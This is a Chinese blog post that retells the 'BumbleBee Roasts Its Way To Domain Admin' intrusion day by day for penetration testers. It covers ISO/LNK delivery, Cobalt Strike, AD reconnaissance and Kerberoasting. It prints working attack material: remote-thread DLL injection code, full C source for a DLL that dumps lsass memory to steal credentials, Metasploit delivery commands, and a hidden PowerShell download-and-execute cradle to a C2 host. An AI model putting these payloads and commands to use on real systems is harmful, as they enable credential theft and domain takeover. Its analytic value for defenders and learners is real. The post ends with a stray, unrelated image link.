0 前言
实战案例还原《BumbleBee Roasts Its Way To Domain Admin》一文详细的描述了一次渗透案例，但其文章组织架构建立在ATT&CK框架上，而不是按照时间线逻辑来组织，因此对于渗透人员了解学习其前后过程有些困难，特此梳理一番，按照时间线还原实战。
《BumbleBee Roasts Its Way To Domain Admin》原文链接
1 第一天(Day1)
1.1 样本投递
看起来是通过邮件中的下载链接投递到的目标环境中的机器，该样本是一个有密码的压缩包。解压缩后释放文件BC_invoice_Report_CORP_46.iso。当挂载这个ISO文件，会释放一个LNK文件documents.lnk，当双击这个快捷方式时会执行隐藏的恶意加载器。快捷方式的目标如下：
C:\Windows\System32\cmd.exe /c start rundll32 namr.dll,IternalJob
1.1.1 rundll32解析
使用rundll32加载执行是常用渗透套路，可以执行dll中的程序，一般还可以用来获取shell：
use exploit/windows/smb/smb_delivery
set srvhost 10.x.x.x
exploit
1.2 加载恶意程序大黄蜂(BumbleBee)
加载器大黄蜂(BumbleBee)返回Cobalt Strike Session，攻击者利用这个Cobalt Strike的shell释放wab.exe，该可执行文件将有wmi执行。
C:\Windows\System32\webm\wmiprvse.exe -secured -Embedding
wab.exe将恶意代码注入到其他两个进程explorer.exe和rundll32.exe中。这里根据原文来看使用的是远线程注入，及使用经典的OpenProcess、VirtualAlloc、WriteProcessMemory、CreateRemoteThread这些Windows系统调用API进行进程注入。根据这些描述，攻击者此刻是具备至少Administrator权限，一般情况下具备了Administrator权限也就有了System权限，从文章描述来看，攻击者使用了getsystem来提权。远线程注入实例代码如下：
BOOL CreateRemoteThreadInjectDLL(DWORD dwProcessId, char* pszDllFileName){
HANDLE hProcess = NULL;
DWORD dwSize = 0;
LPVOID pDllAddr = NULL;
FARPROC pFuncProcAddr = NULL;
hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);//打开进程，获取进程句柄
dwSize = 1+ ::lstrlen(pszDllFileName); //获取dll大小
pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);//申请内
::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL);//向内存中写入dll
pFuncProAddr = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibiaryA");//获取函数LoadLibraryA的函数地址
HANDLE hRemoteThread = ::CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, Null);//创建远线程
::CloseHandle(hProcess);
return TRUE;
}
1.3 被控主机信息收集
攻击者使用多种命令来收集操作系统、网络、用户、软件、进程、域等信息：
ipconfig /all #获取网络信息包含domain
ping -n 1 [domain] #测试domain连通性
net group "domain admins" /domain #获取域管组成员
nslookup x.x.x.x #获取x.x.x.x IP地址
tasklist #获取进程信息
systeminfo #获取系统信息
wmic product get name,version #获取软件信息
wmic /node"<redacted> process list brief #获取进程信息
net view \\<redacted>\Files$ /all #列远程服务器Files共享目录
dir \\<redacted>\c$\ #列c盘目录
tasklist /v /s x.x.x.x #远程获取x.x.x.x 进程详细信息
net use
net group "Domain computers" /domain
net group "Enterprise admins" /domain
net group "domain computers" /domain
net localgroup administrators
nltest /dclist
nltest /domain_trusts
ping -n 1 <remote_ip>
根据上文执行的命令来看攻击者已经获取了远端服务器x.x.x.x的权限或者用户名和口令。
1.4 横向移动到服务器并继续收集信息
原文描述利用local admin账号通过RDP协议横向移动到一台服务器，并释放了AnyDesk.exe作为后门，然后开始利用adfind.exe继续进行信息收集(根据描述，看来该服务器在域内)：
cmd.exe /C af.exe -f "(objectcategory=person)" > ad_users.txt
cmd.exe /C af.exe -f "objectcategory=computer" > ad_computers.txt
cmd.exe /C af.exe -sc trustdump > trustdump.txt
cmd.exe /C af.exe -gcb -sc trustdump > trustdump.txt
2 第二天(Day2)
2.1 在服务器上继续收集信息
攻击者继续使用RDP登录该服务器，并上传了VulnRecon，一款专门设计用来在Windows机器上标识权限提升的路径的工具。
3 第四天(Day4)
3.1 在被控主机上继续收集信息
攻击者在被控主机上及环境中的多台机器，上传了VulnRecon工具和Sysinternals tool工具套件 ，使用VulnRecon、adfind、procdump等工具继续信息收集。其中他们使用远程服务来执行procdump来提取lsass.exe的内存从而获取凭据，根据描述他们至少又获得了几台主机和至少一台服务器的权限。截止目前看起来尚未获取与管理或更高的权限。使用adfind的过程发生在原始被控主机上，当然也不排除在新的横移到的主机上进行。
cmd.exe /C adfind.exe -f "(objectcategory=person)" > ad_users.txt
cmd.exe /C adfind.exe -f "objectcategory=computer" > ad_computers.txt
cmd.exe /C adfind.exe -f "(objectcategory=organizationalUnit)" > ad_ous.txt
cmd.exe /C adfind.exe -sc trustdump > trustdump.txt
3.1.1 VulnRecon 解析
VulnRecon有一个可执行文件和一个dll组成，分别是vulnrecon.exe和vulnrecon.dll，用来枚举权限提升的方式以及信息收集，看起来是自定义的工具，上传到原始被控主机上，当然也不排除在新的横移到的主机上进行。
#
#vulnrecon.dll PDB: D:\a\_work\1\s\artifacts\obj\win-x64.Release\corehost\cli\apphost\standalone\Release\apphost.pdb
#vulnrecon.exe PDB: D:\work\rt\VulnRecon\VulnRecon\obj\Release\net5.0\VulnRecon.pdb
# command
vulnrecon.exe -v
vulnrecon.exe -o
vulnrecon.exe -FindVulnerability
vulnrecon.exe -i
vulnrecon.exe -m
cmd.exe /c vulnrecon.exe -FindVulnerability >> c:\programdata\log.txt
cmd.exe /c vulnrecon.exe -i >> c:\programdata\1.txt
cmd.exe /c vulnrecon.exe -o >> c:\programdata\out.txt
看起来提权是为了执行procdump获取lsass内存的，发生在原始被控主机上。
### 3.2 获取lsass中的凭据根据描述dump出来的文件保存在ProgramData中，利用net use等方式可以获取回来，使用mimikatz或者pypykatz进行破解。这些过程发生在从原始被控主机发现并横向移动到的那些受害主机和服务器上。
C:\programdata\procdump64.exe -accepteula -ma lsass.exe C:\ProgramData\lsass.dmp
4 第七天(Day7)
4.1 在被控服务器上继续收集信息
攻击者持续使用VulnRecon在服务器上进行信息收集，并且还使用了Seatbelt工具(一款常用的信息收集工具)。根据描述使用的是服务器的本地管理员权限。
Seatbelt.exe -group=all -outputfile="C:\ProgramData\seatinfo.txt"
vulnrecon.exe -o
vulnrecon.exe -v
vulnrecon.exe -m
cmd.exe /c vulnrecon.exe -FindVulnerability >> c:\programdata\log.txt
5 第十一天(Day11)
5.1 在被控主机上反弹shell
攻击者持续被控主机上执行powershell命令，下载执行a文件的内容：
C:\Windows\system32\cmd.exe /C powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://a.b.c.d:80/a'))"
根据在a中发现的cobalt strike 的默认配置字符MZRE可以断定，这是一个回连C2地址的 cobalt strike的指令。然后攻击者获取了一个被控主机到攻击者控制的C2。
然后开始向其他进程进行注入，根据原文描述，应该注入到了类似svchost.exe等几个进程。然后攻击者执行了powershell模块Invoke-Kerberoast，开始了kerberoasting攻击。这里依然是从被控主机开始都发起的。
#父进程 svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:36177/'); Invoke-Kerberoast -OutputFormat HashCat | fl | Out-File -FilePath C:\ProgramData\REDACTED\ps.txt -append -force -Encoding UTF8
# 可以看出输出是hashcat模式，攻击应该是使用hashcat进行暴力破解
5.1.1 kerberoasting攻击解析
kerberoasting攻击解析分为两种：TGS-Kerberoasting和 AS-Kerberoasting，可以使用rubeus.exe、msf、powershell进行，其获取的事Net-NTLMHash，可以使用hashcat等工具进行破解从而获得ntlmhash或者password。
5.2 使用Minidump进行凭据提取
攻击者又开始使用可以规避卡巴斯基的凭据提取方式minidump进行凭据提取。这里依然是从被控主机开始都发起的。
#父进程 svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
cmd.exe /C rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 968 C:\ProgramData\REDACTED\lsass.dmp full
5.2.1 Minidump解析
攻击者又开始使用可以规避卡巴斯基的凭据提取方式minidump进行凭据提取。这里依然是从被控主机开始都发起的。
#include <stdio.h>
#include <Windows.h>
#include <tlhelp32.h>
typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline);
int GetLsassPid() {
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (Process32First(hSnapshot, &entry)) {
while (Process32Next(hSnapshot, &entry)) {
if (wcscmp(entry.szExeFile, L"lsass.exe") == 0) {
return entry.th32ProcessID;
}
}
}
CloseHandle(hSnapshot);
return 0;
}
void GetDebugPrivilege()
{
BOOL fOk = FALSE;
HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = true ? SE_PRIVILEGE_ENABLED : 0;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOk = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
}
void DumpLsass()
{
wchar_t ws[100];
_MiniDumpW MiniDumpW;
MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
swprintf(ws, 100, L"%u %hs", GetLsassPid(), "c:\\windows\\temp\\temp.bin full");
GetDebugPrivilege();
MiniDumpW(0, 0, ws);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
DumpLsass();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
我自己曾经编译过该文件，在这里再次感谢曾经A-Team的大佬们带给我的渗透技术视野和国外XPN大牛乐于分享的精神。
编译和使用方式参考
5.3 在被控主机上继续信息收集
在初始被控主机上继续使用adfind收集信息。
cmd.exe /C adfind.exe -f "(objectcategory=person)" > ad_users.txt
cmd.exe /C adfind.exe -f "objectcategory=computer" > ad_computers.txt
cmd.exe /C adfind.exe -sc trustdump > trustdump.txt
5.4 在初始被控机器上再次执行powershell，与之前的相同
攻击者持续被控主机上执行powershell命令，下载执行a文件的内容：
C:\Windows\system32\cmd.exe /C powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://a.b.c.d:80/a'))"
以上过程在5.1中有详细描述不再赘述
5.5 在更多机器上信息收集
在更多机器上执行下列命令：
C:\Windows\system32\cmd.exe /C net accounts /domain
C:\Windows\system32\cmd.exe /C net view /all
C:\Windows\system32\cmd.exe /C whoami
C:\Windows\system32\cmd.exe /C net view \\x.x.x.x\ /all
C:\Windows\system32\cmd.exe /C wmic /node:x.x.x.x process list brief
C:\Windows\system32\cmd.exe /C net ""domain controllers" /domain
C:\Windows\system32\cmd.exe /C net nltest /dclist:[domain]
5.6 两个批处理脚本
攻击者上传并执行两个脚本s.bat和w.bat，这两个脚本可以分析和发现环境内的其他目标。
# s.bat
echo off
for /f %%i in (servers.txt) do for /f "tokens=2 delims=[]" %%j in ('ping -n 1 -4 "%%i"') do @echo %%j >> serv.log
# w.bat
@echo off
for /f %%i in (workers.txt) do for /f "tokens=2 delims=[]" %%j in ('ping -n 1 -4 "%%i"') do @echo %%j >> work.log
5.7 最后
两个脚本运行之后，一个新的cobalt strike的session在初始被控的机器上再次运行上线，然后攻击者使用一个服务账号进行横移，在域控上执行获取一个cobalt strike的session，根据原文描述这里是一个弱口令，被hashcat破解tgs-kerberoasting得到的net-ntlm hash的值这个操作所爆破出来，攻击者在域控上dump lsass。exe的进程内存从而获取到domain admin的权限，打穿域控
![[golang Web开发] 2.golang web开发:操作数据库,增删改查,单元测试](https://img-blog.csdnimg.cn/b9b8603b6e9f4130bd3597d7e303362b.png)
